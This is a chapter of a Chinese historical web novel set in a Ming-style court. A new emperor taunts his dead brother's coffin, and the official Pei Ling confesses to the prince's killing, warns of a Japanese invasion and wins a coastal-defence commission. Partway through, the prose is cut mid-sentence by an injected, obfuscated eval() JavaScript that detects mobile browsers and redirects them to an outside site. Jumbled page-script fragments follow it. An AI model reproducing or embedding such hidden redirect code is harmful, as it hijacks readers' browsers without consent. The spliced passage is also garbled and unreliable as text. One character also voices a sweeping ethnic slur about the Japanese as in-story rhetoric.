121. 第 121 章
作品:《锦衣玉面》 新帝朱慎思践祚甫满两月,司礼监内大换血,要紧位置皆换作东宫旧邸带来的心腹班底。原东宫首领太监万选良擢升为司礼监掌印,而昔年随侍左右的伴读宦官邓迁,则一跃成为司礼监秉笔太监,并兼领东厂提督之要职。至此,禁中咽喉已然握于新帝掌中。
内阁表面暂无异动,但尚在丁忧期的次辅杨廷钊被特旨夺情起复,速召还朝,此举无须多言,朝野上下皆知,首辅之位易主恐是迟早之事。
新帝初登大宝,羽翼未丰,不宜行雷霆手段以致朝局汹汹,故而六部九卿等外廷官员暂且一概未动,只静待时移,徐图更张。
晨光斜过琉璃影壁,九龙破浪腾空,紫禁城像一座巨大的机械,开始有条不紊地运作。
禁中一处偏殿,门户深掩,刚踏进去,森然冷气混着一股难以名状的气味扑面而来。
殿内光线晦暗,但见正中停放着一口杉木棺材,四下堆满巨冰,白汽升腾,在地面凝成一片湿滑的寒雾。
邓迁紧随着新帝入内,被那气味冲得眉头一紧,忍不住以袖捂鼻,低声劝谏:“陛下,杨阁老虽星夜兼程护送灵柩,路上到底已逾月余,尸体怕是早已不堪入目,且尸气有毒,恳请陛下保重龙体,莫要久留。”
朱慎思恍若未闻,只将手往后一摆:“退下。”
邓迁窥见他阴沉的神色,不敢再言,躬身退至殿外。
朱慎思一步一步走到棺前,伸出手,掌心缓缓抚过粗糙的杉木棺盖。
“你看看你,你可是父皇最疼爱的儿子,怎么落得这样一口棺材?”他用指节叩了扣,忽地笑一声,“粗糙不堪,你睡在里头可觉憋闷?”
殿内只有化冰的滴水声。
“没想到你我兄弟再见竟是这般光景。”朱慎思语带嘲讽,“想当年你是何等威风,自落地起便沾了衍徽太子的光,万千宠爱全给了你。我与太后每日都活在恐惧中,我的东宫之位因你的存在而岌岌可危。可惜啊,你还是差了一点,你看,如今你死了,我活着,我坐上了龙椅,百年之后龙驭上宾,自有金丝楠木为椁,你呢?”他重重拍一下棺盖,“你只有这口杉木棺材!”
言及此,他笑出声来,笑声在殿里回荡,显得分外诡异。
“朱慎思……”他念着自己的名字,满是讥诮,“父皇给我起名‘慎思’,是要我时时谨慎,事事思量,不该想的绝不要想,我也确是这么做的,衍徽太子在世时,我何尝敢有半分妄想?”他一顿,嘴角抽动起来,“可他死了啊!他死了,我已是太子!而你分明蠢钝不堪,为何父皇眼里还依旧只有你?!我真的……真的恨啊。”
言着,朱慎思的表情变得狰狞扭曲:“就算他最后下定决心命你就藩,也要将你安置在南京,南京是什么地方?是我们大明定鼎之地!他宁可惹来天下非议,也要让你去南京,也要为你破例修建逾制王府……父皇何曾顾及过我的颜面!考虑过我的感受?!”他胸膛剧烈起伏,死死盯着眼前这口棺。
“现在好了,你们全死了!你们一家全死了!死绝了!”
“苍、天、有、眼、啊!”
殿门被猛地推开,朱慎思眼底压着未尽的戾气,大步踏出。
邓迁立刻躬身迎上:“陛下,不知睿王殿下的棺椁该如何处理?”
朱慎思脚步未停:“按先帝遗诏,送天寿山,与先帝同穴。”
“是,奴婢遵旨。”邓迁领命,低着头,亦步亦趋地跟在帝王翻飞的袍角之后,斟酌着又道,“陛下,还有一事,北镇抚使裴泠现已押解到京,她说想见陛下一面。”
朱慎思步子一顿,扭头盯住邓迁:“她怎么还活着?王牧是怎么办事的?”
“回陛下,”邓迁将腰弯得更低,“人的确还活着,还是杨阁老将其一路押送进京的。”
“呵,”朱慎思从鼻腔哼出冷笑,“王牧那老东西果然不中用了。”他转身继续往前走,随口道,“她见朕有何事?”
“言称有要事,唯面圣方可陈情。”邓迁试探着轻声问,“陛下可要见她?”
朱慎思沉默片刻,丢下一句:“带她来便殿。”
“是,奴婢即可去办。”邓迁深深一揖。
*
晨光熹微,宫人们将彻夜长明的宫灯逐一取下,又轻手轻脚地整理好帘幕,随即垂首敛袖,依序无声退去。殿内霎时空了下来,邓迁正将一壶新沏的茶汤注入盏中,水声清越。
裴泠跪在御案之下已有近半个时辰,朱慎思端坐御座,正执朱笔批阅奏章,直到邓迁将茶盏恭敬奉上,他接来浅呷一口,方才开言:
“你执意要见朕,所为何事?莫非是想陈情,道睿王是哀思过甚,追随先帝而去?”
裴泠依旧低着头:“回陛下,并非如此,睿王殿下是臣亲手诛杀。”
朱慎思闻言是真愣了一下,俄顷才将茶盏重重撂在案上,发出一声惊响。
“好啊,”他短促地笑了一声,听不出是怒是嘲,“弑杀亲王,按律当凌迟处死,株连家族,你倒是敢认,来人——”
“陛下,”裴泠打断道,“臣是奉先帝密谕行事。”
“放肆!”朱慎思猛然一掌拍在案上,震得笔砚皆跳,“好你个裴泠,竟敢谤讪先帝!谁人不知睿王乃先帝最钟爱的皇子,你说先帝密谕诛之?此已非寻常妄言,实乃诈为制书,诬罔先帝有杀子之心!你当真以为朕可欺,先帝之灵亦可欺么?此乃大不敬之极!朕现在就要治你矫诏欺君之罪!立刻推出午门问斩!”
裴泠这才抬起头来,不疾不徐地道:“陛下,请留臣一命。”
一旁侍立的邓迁嘴角歪了歪,险些没忍住一声嗤笑。他实在搞不懂这位外廷独一无二的女官究竟是没了脑子,还是压根不想要脑袋了?一上来便直认下这十恶不赦的死罪,且瞧她那模样,非但毫无惧色,反倒透着一股莫名的笃定,连讨饶的话都说得如此神气,真叫他一时摸不准,莫非是活腻了,专程来御前痛痛快快闹上一场,好泄一泄胸中那股不平之气?
莫说邓迁,御座上的朱慎思也搞不清楚,然而他转念一想,朝堂之上,这般一根筋的难道还少么?尤其是那帮子自诩纯臣的愣头青,最是容易干出这种让人气不打一处来的事。为君之道,第一课便是要学会驾驭此等局面,如何妥善管理好自己的情绪,让自己不至于被气死。
朱慎思暗自吸了一口气,将拍案而起的冲动强行压回。
“留你一命?”他声音冷彻,“留你何用?莫非以为朕如先帝一般,会受你巧言所惑?女子干政,本系前朝之弊,朕既御极,自当拨乱反正。北镇抚使之职即刻革去,押入诏狱,候秋后处决。”
裴泠仿佛全然未闻般,径直问道:“陛下是否已收到倭情的奏报?”
朱慎思眸色一沉:“此等军机,你从何得知?”
裴泠接道:“陛下,此次倭情有异,恐非寻常寇掠。”
“你什么意思?”朱慎思已然不悦。
“臣疑心,此次倭患与江户幕府有关系。”
邓迁当即出声:“奴婢请裴镇抚使慎言!倭寇是倭寇,幕府是幕府,岂可混为一谈?倭寇是逐利亡命的浪人海贼,如何能与日本国政牵扯?那广东倭情,据沿海卫所报,不过是一伙春时流窜的残寇,眼见九月将近,欲乘东北风返回其国,临走前再行抢掠罢了。卫所兵锋所指,彼辈便如丧家之犬般四散,根本不足为虑。陛下新登大宝,四海升平,岂容此等惑乱人心之言?”
广东,原来是广东。裴泠定下心神,直视御座道:“倭寇如何能与日本国政无关?若无其幕府默许乃至暗中支持怂恿,区区海贼安能如此猖獗?景泰年间,日本贡使团入贡还国,所过之地,强索民财,甚至持刀劫杀,与横行海上的倭寇行径有何区别?倭人喜盗、轻生、好杀,此其天性使然。日本国内也始终有一股势力,心怀侵犯中国之念。这些人失势在野,便化为寇盗滋扰我边海,一旦得势掌权,必图谋更大规模的入侵。”
“慎言!裴镇抚使慎言!”邓迁声音尖利起来,“现今广东倭寇不过四五百之众,疥癣之疾耳,能成什么气候!你陡然上升边衅,究竟是何居心!”他转向朱慎思,“陛下明鉴,裴泠此言非但夸大边患,更妄揣邻国政事,极易引发邦交纷争!”
裴泠并未因邓迁的呵斥而停下:“正因陛下初登大宝,外邦若有异心,此正其窥伺之机,故而对这等不起眼的倭情更需倍加防范,以防日本借我朝权力交接之时,行不轨之谋。”她略顿,看向邓迁,“邓公公适才所言的广东倭情,臣却有另一番推断。”
邓迁急道:“陛下,此皆无端臆测,万不可……”
“说下去。”朱慎思抬手止住了邓迁,神色已然转肃。
裴泠继续道:“臣所得密报,石见银山近来开采加剧,动用了数万役夫,昼夜不停地挖掘,所求之巨,已非常理可度。为筹措军费,是合理的怀疑。”
她进而分析:“倭人若欲大举来犯,必待明年春夏季的大汛期,彼时东南风起,是其舰队唯一的渡海之机。用兵之道在先侦后战,如今这伙倭寇,行事目的恐非劫掠,他们极可能是先锋斥候,是为摸清我沿海卫所的布防虚实、兵力强弱、反应快慢而来。待此番探查完毕,情报送归,他们便可利用冬季进行战前部署,待来年春风一起,则可能发动总攻。陛下若存疑,不妨静观,臣推测过不了多久,福建、浙江等地沿海亦将出现类似的小股倭患,彼等绝不会死战,一击即走,只为试探我军虚实。若我朝仍视之为疥癣之疾,待得来年大汛,东南海疆恐无宁日。”
邓迁眼中掠过一丝精光,恍然大悟般道:“陛下,奴婢现在可算是明白了!原来裴镇抚使绕了这么大一个圈子,煞有其事地危言耸听,究其根本是想借倭寇这个由头为自己脱罪翻身哪!好一出移祸江东,淆乱圣听之计!”
裴泠闻言面色沉静,并未开口辩驳。
朱慎思冷笑一声,目光如锥:“怎么,无言以对了?是被一语道破心思,无法自圆其说了?”
殿内空气仿佛凝滞,皇帝脸上冷笑未消,已然失去了继续听下去的耐心。
“押下去!”他不再看她,“押入诏狱,严加看管!”
*
北镇抚使被关入诏狱,这还是开天辟地头一遭。这道旨意一下,倒让北镇抚司里的一干人等犯了难。
首先,圣上并未明言“革职”,如此一来,裴泠名义上就仍是他们的顶头上司,而“严加看管”四字意味着圣心尚未最终裁决,事情也就有转圜余地。既然人还有翻身的可能,那么在她彻底倒台之前,任何微妙的言行都可能带来难以预料的后果。这点官场生存的机窍,众人心知肚明。
因此,当裴泠被押至诏狱时,甬道两旁校尉笔直肃立,与往常无异。
关押的牢房正在紧急洒扫,她便先被请进了值房暂坐。
等到牢房收拾得焕然一新,连石炕上的稻草都铺得整整齐齐,千户这才趋步近前来请:“大人,牢房已备妥,请您移步。”
目光掠过值房里的桌椅,她吩咐道:“把这套桌椅一并安置过去。”
千户一个笔挺:“是!”
*
被关押的第七日,一份来自浙江的倭情奏报,终于让御座上的新天子坐不住了。
自大明开国,倭患几乎无岁不有,至嘉靖朝最为严重,幸赖胡宗宪、戚继光等名臣良将经略,局面方得遏制。嘉靖以后,海波虽未
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947337|184422||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彻底靖平,但大规模焚州掠县的剧寇已是不多见。近几十年里,规模最大的便是建德年间的东南之乱,彼时领兵平倭的正是裴泠的父亲裴珩,而那场乱子虽波及浙闽两省,到底也被迅速平定下去。
眼下这份奏报,虽只言小股窜犯,但结合裴泠的言论,便让朱慎思不安了,他不禁暗想:难道倭寇真在憋着一波大的?
刚登基就遇外患带来的政治压力最终压过了之前对她危言耸听的判断,他越想越觉得那女人的话未必全是妄言,尤其他才刚即位,正值朝局未稳之际,内外勾连,趁虚而入……他简直越想越不对。
朱慎思用力拧了拧鼻梁,沉声对侍立一旁的邓迁道:“速召杨阁老入宫。”
*
当日夜里,裴泠便被悄然提出诏狱。
御座上的新帝显然心神俱疲,不是抬手拧鼻梁,便是以指节重重按压眉心。
而邓迁这次再见裴泠,整个人真是一下精神了。
到了此刻,倭情是否真与幕府有关已然不重要了,若无关,她可以说是因预警及时而防患于未然,若有关,那她便是洞察先机的功臣。这朝堂之上的事从来不在真相如何,而在圣心如何认定。她分明是拿捏了新君初御大宝,最忌外患叩关的忧俱之心。
仅凭年年都有的倭情,就能将一盘死局走活,眼前这位,可不是一般人哪。
邓迁这才彻悟,那日她在殿上为何说到关键处便戛然而止,不再强辩。有些话,须得在恰当的时机抛出才具有千钧之力。她早已在圣上心中埋下了一颗怀疑的种子,她要做的只是静等这颗种子发芽。如今圣上自己按捺不住,主动将她提出诏狱,局面便已逆转了,从她乞求面圣陈情,变成了圣上需要听取她的意见。主动权易手,她的处境与说话的份量,自然也就截然不同了。思及此,他看向她的眼神不禁戒慎起来。
“朕决定,”朱慎思缓了缓,终于开口,“着你以钦差身份,巡视东南海防事务。尔职在稽查,权止于奏,凡一应地方军民政事,仍听该地巡抚总兵统辖,尔不得干预,更不得擅调一兵一卒。”
裴泠听罢,抬首直言:“陛下既委此任,却不授相应兵权,臣凭何行事?”
“大胆!”邓迁立刻厉声斥责,“尔竟敢如此态度质询圣裁!”
朱慎思也被她这毫不退让的态度激怒了。他饶她一命,许她戴罪立功,已是格外开恩,她竟还敢得寸进尺,当面索权。他当即扬声道:“大汉将军何在!”
下一瞬,但见两个头戴红缨铁盔帽,身披铁甲的大汉将军应声而入,腰间长刀出鞘,寒光一闪,转瞬已交叉架于她颈间。
刀刃的寒意紧贴皮肤,裴泠却纹丝不动,声音在刀锋下反而更为沉着:
“陛下,睿王乃臣亲手诛杀,臣可亲笔写下认罪书,白纸黑字,画押存证。自此,臣之性命便彻底系于陛下手中。诛杀亲王是十恶不赦之大逆,无论臣此后立下何等功绩,陛下有此认罪书,可随时将臣明正典刑,所以陛下又何须忌惮放权于臣?臣唯有拼死效力,方能挣得一线生机。”
唉哟喂!邓迁简直要肃然起敬了,她哪是蠢得自认死罪,她分明是精到了骨子里,狠到了拿命搏。
这,是个人物啊。
朱慎思盯着底下那张脸,胸中怒火与憋闷交织。
“若东南倭情并非如你所说,你就给朕在诏狱里等着引颈受戮罢!”
裴泠闻言非但无惧,反而迎着帝王盛怒的目光,缓缓道:“陛下,臣之微命,何足挂齿。臣唯愿是臣杞人忧天,错判形势,只要海疆宁靖,臣万死,亦不足惜。”
朱慎思眉头直接锁死。
这决定明明是自己反复权衡后做出的,不知为何,他心头却总有一种难以言喻的窒闷,仿佛自己是何念头早已被提前料中,一步步诱至此地,看似主动,实则被动,这种感觉让他浑身难受。
此刻看着她,简直越看越碍眼,偏生她所言又让人无法反驳。孑然一身,无族亲可倚,无家室可累,在朝中更无枝蔓依靠,如今最大的把柄还攥在他手里,这样一个除却皇恩便一无所有的人,除了拼死办事换取生机,还能有什么别的出路?她的生死荣辱全然系于他一念之间,根本无需担忧背叛。
理虽如此,可属于帝王的尊严被隐约冒犯的不快,让他对着这张冷静得过分的脸,竟真真切切生出了如鲠在喉之感,一种咽不下也吐不出的憋屈!
*
北京,通政司。
值房内,通政使郭元接过参议呈报上来的一叠敕书副本,依制核验了关防和格式,而后目光缓缓扫过正文——
【奉天承运皇帝敕曰:
顷者东南告警,遭倭夷侵扰,朕甚忧之。察尔锦衣卫北镇抚使裴泠,洞识机先,智略沉深,虽系女流,然才干胆识足堪大任,朕破格超擢。
兹特命尔为钦差提督浙广沿海军务兼理海防都御史,授尔王命旗牌,临机决断,便宜行事,凡涉防倭剿寇文武官员,悉听节制调遣。遇有通倭坏法、阻挠军务者,武将自副将以下,文官自兵备道以下,许尔以军法从事,先斩后奏。其巡抚、总兵等大员,若有贻误,亦许尔参奏拿问。】
啧啧啧,郭元不由得感叹。
新帝即位,乾坤涤荡,最先整顿的向来是内廷司礼监与天子亲军锦衣卫,前朝核心旧人罕有留用。可这位北镇抚使裴泠,着实是个异数,非但未遭清洗,官位屹然不动不说,竟还能擢升要职。
这是牛人哪!
郭元“啪啪啪”地在每一份敕书副本上都加盖通政使司大印,随后理齐转交吏员。
“六百里加急,驰传发往浙江、广东,呈交两广总督、浙江巡抚衙门,并晓谕二省三司。”

